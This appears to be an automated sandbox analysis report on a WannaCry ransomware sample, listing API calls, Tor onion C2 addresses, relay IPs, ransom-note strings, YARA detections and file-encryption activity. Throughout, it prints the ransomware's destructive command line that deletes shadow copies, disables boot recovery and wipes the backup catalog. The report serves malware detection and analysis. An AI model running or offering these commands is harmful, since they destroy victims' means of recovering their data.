swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,DeleteFileW,swprintf,DeleteFileW,#825,#825,34_2_004026B0
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F91C027 FindFirstFileExA,42_2_6F91C027
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\~SD6DB9.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\~SD6DCE.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\~SD6DBA.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\Temp\~SD6DCC.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\ARM\~SD6DBB.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\~SD6DCD.tmpJump to behavior

                  Networking

                  barindex
                  Found Tor onion address
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.5895321498.0000000000198000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$
                  Source: @WanaDecryptor@.exe, 00000022.00000002.1950146110.000000000019B000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$
                  Source: @WanaDecryptor@.exe, 00000022.00000002.1950994575.0000000000C30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
                  Source: global trafficTCP traffic: 192.168.11.20:49747 -> 167.114.35.28:9001
                  Source: global trafficTCP traffic: 192.168.11.20:49749 -> 185.11.180.67:9001
                  Source: unknownTCP traffic detected without corresponding DNS query: 167.114.35.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 194.109.206.212
                  Source: unknownTCP traffic detected without corresponding DNS query: 194.109.206.212
                  Source: unknownTCP traffic detected without corresponding DNS query: 194.109.206.212
                  Source: unknownTCP traffic detected without corresponding DNS query: 185.11.180.67
                  Source: unknownTCP traffic detected without corresponding DNS query: 167.114.35.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 185.11.180.67
                  Source: unknownTCP traffic detected without corresponding DNS query: 167.114.35.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 185.11.180.67
                  Source: unknownTCP traffic detected without corresponding DNS query: 167.114.35.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 185.11.180.67
                  Source: unknownTCP traffic detected without corresponding DNS query: 167.114.35.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 185.11.180.67
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 86.59.21.38
                  Source: unknownTCP traffic detected without corresponding DNS query: 86.59.21.38
                  Source: unknownTCP traffic detected without corresponding DNS query: 86.59.21.38
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 192.87.28.28
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040DB80 recv,31_2_0040DB80
                  Source: @WanaDecryptor@.exe, @WanaDecryptor@.exe, 00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.882205706.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.872152587.0000000000AD3000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1844791357.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000001F.00000000.1847688235.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how
                  Source: @WanaDecryptor@.exe, 0000001F.00000003.1866720891.0000000002858000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000001F.00000003.1866570247.0000000002851000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.zlib.net/D
                  Source: @WanaDecryptor@.exe, 0000001F.00000003.1866830058.000000000295F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relay
                  Source: @WanaDecryptor@.exe, 0000001F.00000003.1866830058.000000000295F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relayError
                  Source: @WanaDecryptor@.exe, 00000022.00000002.1950994575.0000000000C30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.5895321498.0000000000198000.00000004.00000010.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000022.00000002.1950146110.000000000019B000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip(B
                  Source: taskhsvc.exe, 00000024.00000003.2143314663.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000024.00000003.2147656639.000000000448B000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000024.00000003.2162919054.0000000003FF8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sabotage.net
                  Source: @WanaDecryptor@.exe, @WanaDecryptor@.exe, 00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpString found in binary or memory: https://www.google.com/search?q=how
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00407C30 OpenClipboard,GlobalAlloc,CloseClipboard,EmptyClipboard,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,31_2_00407C30
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00407C30 OpenClipboard,GlobalAlloc,CloseClipboard,EmptyClipboard,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,31_2_00407C30
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004035A0 SendMessageA,SendMessageA,OpenClipboard,SendMessageA,#3301,#924,#800,#800,SendMessageA,GlobalAlloc,GlobalLock,GlobalFree,SendMessageA,#3301,#924,#800,MultiByteToWideChar,wcslen,wcslen,#800,SendMessageA,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,31_2_004035A0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00407C30 OpenClipboard,GlobalAlloc,CloseClipboard,EmptyClipboard,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,34_2_00407C30
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004035A0 SendMessageA,SendMessageA,OpenClipboard,SendMessageA,#3301,#924,#800,#800,SendMessageA,GlobalAlloc,GlobalLock,GlobalFree,SendMessageA,#3301,#924,#800,MultiByteToWideChar,wcslen,wcslen,#800,SendMessageA,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,34_2_004035A0

                  Spam, unwanted Advertisements and Ransom Demands

                  barindex
                  Detected Wannacry Ransomware
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: CreateFileW,GetFileTime,ReadFile,ReadFile,ReadFile,ReadFile,ReadFile,CloseHandle,CreateFileW,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,WriteFile,SetFilePointer,SetEndOfFile,CreateFileW,ReadFile,WriteFile,_local_unwind2,SetFilePointerEx,SetEndOfFile,SetFileTime,CloseHandle,MoveFileW,_local_unwind2, WANACRY!31_2_004020A0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: CreateFileW,GetFileTime,ReadFile,ReadFile,ReadFile,ReadFile,ReadFile,CloseHandle,CreateFileW,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,WriteFile,SetFilePointer,SetEndOfFile,CreateFileW,ReadFile,WriteFile,_local_unwind2,SetFilePointerEx,SetEndOfFile,SetFileTime,CloseHandle,MoveFileW,_local_unwind2, WANACRY!34_2_004020A0
                  Yara detected Conti ransomware
                  Source: Yara matchFile source: Process Memory Space: @WanaDecryptor@.exe PID: 5284, type: MEMORYSTR
                  Yara detected Wannacry ransomware
                  Source: Yara matchFile source: LisectAVT_2403002A_126.EXE.exe, type: SAMPLE
                  Source: Yara matchFile source: 34.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 31.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 34.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 31.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 46.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 46.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.0.LisectAVT_2403002A_126.EXE.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000000.00000003.882205706.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000001F.00000000.1847688235.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000003.872152587.0000000000AD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000002E.00000000.2071838543.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000002E.00000002.5896071201.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000003.1844791357.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: LisectAVT_2403002A_126.EXE.exe PID: 9188, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: @WanaDecryptor@.exe PID: 5284, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: @WanaDecryptor@.exe PID: 4800, type: MEMORYSTR
                  Source: Yara matchFile source: C:\@WanaDecryptor@.exe, type: DROPPED
                  Source: Yara matchFile source: C:\Users\user\Desktop\u.wnry, type: DROPPED
                  Contains functionalty to change the wallpaper
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00407E80 SHGetFolderPathW,wcslen,swprintf,MultiByteToWideChar,CopyFileW,SystemParametersInfoW,31_2_00407E80
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00407E80 SHGetFolderPathW,wcslen,swprintf,MultiByteToWideChar,CopyFileW,SystemParametersInfoW,34_2_00407E80
                  Deletes shadow drive data (may be related to ransomware)
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.882205706.0000000000AD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.882205706.0000000000AD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.872152587.0000000000AD3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.872152587.0000000000AD3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1844791357.0000000000B0F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1844791357.0000000000B0F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: @WanaDecryptor@.exeBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 0000001F.00000000.1847688235.000000000041F000.00000008.00000001.01000000.0000000B.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 0000001F.00000000.1847688235.000000000041F000.00000008.00000001.01000000.0000000B.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet &
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet &
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exeBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000022.00000002.1950146110.000000000019B000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: ^(u/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000022.00000002.1950146110.000000000019B000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: ]bwcmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000022.00000002.1950512162.0000000000555000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietC:\Windows\S\Registry\Machine\Software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=computerComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\computerNUMBER_OF_PROCESSORS=16OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VB\Registry\Machine\Software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\GRE_InitializeFamily 6 ModJ
                  Source: @WanaDecryptor@.exe, 00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: @WanaDecryptor@.exe, 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet &
                  Source: @WanaDecryptor@.exe, 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet &
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
                  Modifies existing user documents (likely ransomware behavior)
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile moved: C:\Users\user\Desktop\ZTGJILHXQB\ZTGJILHXQB.docxJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile deleted: C:\Users\user\Desktop\ZTGJILHXQB\ZTGJILHXQB.docxJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile moved: C:\Users\user\Desktop\WKXEWIOTXI\ZQIXMVQGAH.mp3Jump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile deleted: C:\Users\user\Desktop\WKXEWIOTXI\ZQIXMVQGAH.mp3Jump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile moved: C:\Users\user\Desktop\CURQNKVOIX.docxJump to behavior
                  Writes many files with high entropy
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\7ZfXhrEob04xoRhLlPM73qlbsls.gz[1].js.WNCRYT entropy: 7.999492346Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\9XrvGJjLDjQS71Khbdm2AEhZanE.gz[1].js.WNCRYT entropy: 7.99990009375Jump to dropped file
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\DFRwL8oOMKucye7OVYoqhw9WuHU.gz[1].js.WNCRYT entropy: 7.99852806032Jump to dropped file
